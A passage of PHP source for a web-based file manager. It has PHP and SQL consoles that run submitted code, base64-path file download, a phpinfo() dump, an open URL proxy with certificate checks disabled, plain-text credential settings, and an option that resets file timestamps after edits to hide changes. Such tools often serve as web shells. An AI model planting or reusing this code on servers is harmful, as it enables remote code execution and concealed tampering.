        $lng_tpl = $_POST['tpl_edited'];
        if (!empty($_POST[$lng_tpl . '_name'])) {
            $fm_php = json_encode(array_combine($_POST[$lng_tpl . '_name'], $_POST[$lng_tpl . '_value']), JSON_HEX_APOS);
        } elseif (!empty($_POST[$lng_tpl . '_new_name'])) {
            $fm_php = json_encode(json_decode(${$lng_tpl . '_templates'}, true) + array($_POST[$lng_tpl . '_new_name'] => $_POST[$lng_tpl . '_new_value']), JSON_HEX_APOS);
        }
        if (!empty($fm_php)) {
            $fgc = file_get_contents(__FILE__);
            $search = preg_match('#' . $lng_tpl . '_templates[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches);
            if (!empty($matches[1])) {
                $filemtime = filemtime(__FILE__);
                $replace = str_replace('{"' . $matches[1] . '"}', $fm_php, $fgc);
                if (file_put_contents(__FILE__, $replace)) {
                    ${$lng_tpl . '_templates'} = $fm_php;
                    $msg_ntimes .= __('File updated');
                } else {
                    $msg_ntimes .= __('Error occurred');
                }
                if (!empty($fm_config['fm_restore_time'])) {
                    touch(__FILE__, $filemtime);
                }
            }
        } else {
            $msg_ntimes .= __('Error occurred');
        }
    }
}
// Just show image
if (isset($_GET['img'])) {
    $file = base64_decode($_GET['img']);
    if ($info = getimagesize($file)) {
        switch ($info[2]) {
            //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
            case 1:
                $ext = 'gif';
                break;
            case 2:
                $ext = 'jpeg';
                break;
            case 3:
                $ext = 'png';
                break;
            case 6:
                $ext = 'bmp';
                break;
            default:
                die;
        }
        header("Content-type: image/{$ext}");
        echo file_get_contents($file);
        die;
    }
}
// Just download file
if (isset($_GET['download'])) {
    $file = base64_decode($_GET['download']);
    fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
    phpinfo();
    die;
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && !empty($fm_config['enable_proxy'])) {
    $url = isset($_GET['url']) ? urldecode($_GET['url']) : '';
    $proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	' . fm_home() . ' <a href="' . $url . '" target="_blank">Url</a>: <input type="text" name="url" value="' . $url . '" size="55">
	<input type="submit" value="' . __('Show') . '" class="fm_input">
	</form>
</div>
';
    if ($url) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_REFERER, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $result = curl_exec($ch);
        curl_close($ch);
        //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
        $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
        $result = preg_replace('%(<body.*?>)%i', '$1' . '<style>' . fm_home_style() . '</style>' . $proxy_form, $result);
        echo $result;
        die;
    }
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>FileXXXXXXXXXXX</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?php 
echo fm_home_style();
?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php 
$url_inc = '?fm=true';
if (isset($_POST['sqlrun']) && !empty($fm_config['enable_sql_console'])) {
    $res = empty($_POST['sql']) ? '' : $_POST['sql'];
    $res_lng = 'sql';
} elseif (isset($_POST['phprun']) && !empty($fm_config['enable_php_console'])) {
    $res = empty($_POST['php']) ? '' : $_POST['php'];
    $res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
    echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">' . __('File manager') . ' - ' . __('Settings') . '</th></tr>
' . (empty($msg_ntimes) ? '' : '<tr><td class="row2" colspan="2">' . $msg_ntimes . '</td></tr>') . '
' . fm_config_checkbox_row(__('Show size of the folder'), 'show_dir_size') . '
' . fm_config_checkbox_row(__('Show') . ' ' . __('pictures'), 'show_img') . '
' . fm_config_checkbox_row(__('Show') . ' ' . __('Make directory'), 'make_directory') . '
' . fm_config_checkbox_row(__('Show') . ' ' . __('New file'), 'new_file') . '
' . fm_config_checkbox_row(__('Show') . ' ' . __('Upload'), 'upload_file') . '
' . fm_config_checkbox_row(__('Show') . ' PHP version', 'show_php_ver') . '
' . fm_config_checkbox_row(__('Show') . ' PHP ini', 'show_php_ini') . '
' . fm_config_checkbox_row(__('Show') . ' ' . __('Generation time'), 'show_gt') . '
' . fm_config_checkbox_row(__('Show') . ' xls', 'show_xls') . '
' . fm_config_checkbox_row(__('Show') . ' PHP ' . __('Console'), 'enable_php_console') . '
' . fm_config_checkbox_row(__('Show') . ' SQL ' . __('Console'), 'enable_sql_console') . '
<tr><td class="row1"><input name="fm_config[sql_server]" value="' . $fm_config['sql_server'] . '" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="' . $fm_config['sql_username'] . '" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="' . $fm_config['sql_password'] . '" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="' . $fm_config['sql_db'] . '" type="text"></td><td class="row2 whole">SQL DB</td></tr>
' . fm_config_checkbox_row(__('Show') . ' Proxy', 'enable_proxy') . '
' . fm_config_checkbox_row(__('Show') . ' phpinfo()', 'show_phpinfo') . '
' . fm_config_checkbox_row(__('Show') . ' ' . __('Settings'), 'fm_settings') . '
' . fm_config_checkbox_row(__('Restore file time after editing'), 'restore_time') . '
' . fm_config_checkbox_row(__('File manager') . ': ' . __('Restore file time after editing'), 'fm_restore_time') . '
<tr><td class="row3"><a href="' . fm_url() . '?fm_settings=true&fm_config_delete=true">' . __('Reset settings') . '</a></td><td class="row3"><input type="submit" value="' . __('Save') . '" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">' . __('Settings') . ' - ' . __('Authorization') . '</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" ' . ($auth['authorize'] ? 'checked' : '') . ' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">' . __('Authorization') . '</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="' . $auth['login'] . '" type="text"></td><td class="row2 whole">' . __('Login') . '</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="' . $auth['password'] . '" type="text"></td><td class="row2 whole">' . __('Password') . '</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="' . $auth['cookie_name'] . '" type="text"></td><td class="row2 whole">' . __('Cookie') . '</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="' . $auth['days_authorization'] . '" type="text"></td><td class="row2 whole">' . __('Days') . '</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">' . $auth['script'] . '</textarea></td><td class="row2 whole">' . __('Script') . '</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="' . __('Save') . '" ></td></tr>
</form>
</table>';
    echo fm_tpl_form('php'), fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
    die($proxy_form);
} elseif (isset($res_lng)) {
    ?>
<table class="whole">
<tr>
    <th><?php 
    echo __('File manager') . ' - ' . $path;
    ?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?php 
    echo strtoupper($res_lng);
    ?> <?php 
    echo __('Console');
    if ($res_lng == 'sql') {
        echo ' - Database: ' . $fm_config['sql_db'] . '</h2></td><td>' . fm_run_input('php');
    } else {
        echo '</h2></td><td>' . fm_run_input('sql');
    }
    ?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?php 
    echo $url_inc . '&path=' . $path;
    ?>"><?php 
    echo __('Back');
    ?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?php 
    echo $res_lng;
    ?>" cols="80" rows="10" style="width: 90%"><?php 
    echo $res;
    ?></textarea><br/>
		<input type="reset" value="<?php 
    echo __('Reset');
    ?>">
		<input type="submit" value="<?php 
    echo __('Submit');
    ?>" name="<?php 
    echo $res_lng;
    ?>run">
<?php 
    $str_tmpl = $res_lng . '_templates';
    $tmpl = !empty(${$str_tmpl}) ? json_decode(${$str_tmpl}, true) : '';
    if (!empty($tmpl)) {
        $active = isset($_POST[$res_lng . '_tpl']) ? $_POST[$res_lng . '_tpl'] : '';
        $select = '<select name="' . $res_lng . '_tpl" title="' . __('Template') . '" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\'' . $res_lng . '\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\'' . $res_lng . '\'].value =\'\';" >' . "\n";
        $select .= '<option value="-1">' . __('Select') . "</option>\n";
        foreach ($tmpl as $key => $value) {
            $select .= '<option value="' . $value . '" ' . (!empty($value) && $value == $active ? 'selected' : '') . ' >' . __($key) . "</option>\n";
        }
        $select .= "</select>\n";
        echo $select;
    }
    ?>
		</form>
	</td>
</tr>
</table>
<?php 
